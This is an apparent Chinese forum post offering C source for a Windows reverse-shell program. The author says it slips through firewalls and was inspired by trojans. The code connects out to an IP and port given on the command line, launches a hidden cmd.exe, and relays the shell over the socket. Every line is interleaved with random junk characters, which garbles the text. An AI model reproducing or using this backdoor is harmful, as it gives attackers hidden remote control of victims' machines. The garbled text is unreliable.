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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 NR{wq|"  
xvr5$x|h  
/* ============================== %`vzQt`>  
Rebound port in Windows NT w2 )Ro:G  
By wind,2006/7 o u|emAV  
===============================*/ o\AnM5  
#include $`=p]  
#include f-=\qSo  
:$5A3i  
#pragma comment(lib,"wsock32.lib") gg;r;3u  
E h%61/  
void OutputShell(); 5jdZC(q5a  
SOCKET sClient; qt GJJ#^,  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; .1x04Np!  
]$ew 5%  
void main(int argc,char **argv) [uq>b|`R G  
{ pMc6p0  
WSADATA stWsaData; fCl}eXg6w  
int nRet; ]Z JoC!u  
SOCKADDR_IN stSaiClient,stSaiServer; DHidI\*gT  
(JhX:1  
if(argc != 3) N0U/u'J!g  
{ #Ondhy%h[  
printf("Useage:\n\rRebound DestIP DestPort\n"); )Nv1_en<!  
return; VSj!Gm0LB  
} ~xH&"1  
+Q*`kg'  
WSAStartup(MAKEWORD(2,2),&stWsaData); 7p&jSOY  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 30Yis_l2h  
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stSaiClient.sin_family = AF_INET; "}]`64?  
stSaiClient.sin_port = htons(0); 2EY"[xK|  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?HZp @ &  
.=_p6_G  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) eE;tiX/  
{ 0ju1>.p  
printf("Bind Socket Failed!\n"); e5 =d Ev  
return; 9N ]Xa  
} &dtk&P{  
bRC243]g*A  
stSaiServer.sin_family = AF_INET; FoefBo?g65  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); L\yVE J9x  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 'Pz%c}hJ  
T?9D?u?]  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Zw]`z*,yRA  
{ @0`A!5h?u  
printf("Connect Error!"); >&L|oq7$  
return; D{|qP nE4  
} l}{{7~C`  
OutputShell(); ] !UYl  
} A'qe2]  
h#rP]o@  
void OutputShell() )cf i@-J+#  
{ !U`&a=k  
char szBuff[1024]; .soCU8i3  
SECURITY_ATTRIBUTES stSecurityAttributes; ,|%KlHo^  
OSVERSIONINFO stOsversionInfo; 3)OZf{D[  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; *miG<  
STARTUPINFO stStartupInfo;  %zavSm"  
char *szShell; ~z[`G#dU  
PROCESS_INFORMATION stProcessInformation; 5zuwqOD*  
unsigned long lBytesRead; Rq4; {a/j  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $+eeE  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); #h!+b  
stSecurityAttributes.lpSecurityDescriptor = 0; QE]@xLz   
stSecurityAttributes.bInheritHandle = TRUE; o'Bd. B  
6:1`lsP  
,%i Scr,z  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); T2{e 1 =Z7  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); V:0IBbh)w  
}_Bo:*9B-o  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); lH fZw})d  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gt4GN`-k  
stStartupInfo.wShowWindow = SW_HIDE; ]aN9mT N  
stStartupInfo.hStdInput = hReadPipe; ,@"yr>Q9#6  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; *i#2>=)  
Zy0M\-Mn  
GetVersionEx(&stOsversionInfo); VPN 9 Ql=  
zzG=!JR  
switch(stOsversionInfo.dwPlatformId) ;R$G.5h  
{ A#>wbHjWF  
case 1: 5- dt0I@<  
szShell = "command.com"; g&RpE41x  
break; "2e3 <:$  
default: l;$F[/3a  
szShell = "cmd.exe"; |N,^*xP(6  
break; !G%!zNA S  
} vgW(l2,@  
&oL"AJU  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); gx\V)8Zr  
88Pt"[{1  
send(sClient,szMsg,77,0); e9acI>^w  
while(1) g4W$MI  
{ Vjs2Yenx  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); d`\SX(C  
if(lBytesRead) q/U-WQ<+  
{ >N3X/8KL%  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); R P{pEd  
send(sClient,szBuff,lBytesRead,0); AArLNXzVW  
} L1IF$eC  
else >WHajYO"  
{ 288mP]a(v_  
lBytesRead=recv(sClient,szBuff,1024,0); QW..=}pL  
if(lBytesRead<=0) break; cMK|t;" 3  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); }0 ~$^J  
}  ff9m_P  
} .+7n@Sc  
/cS8@)e4  
return; \mF-L,yu  
}
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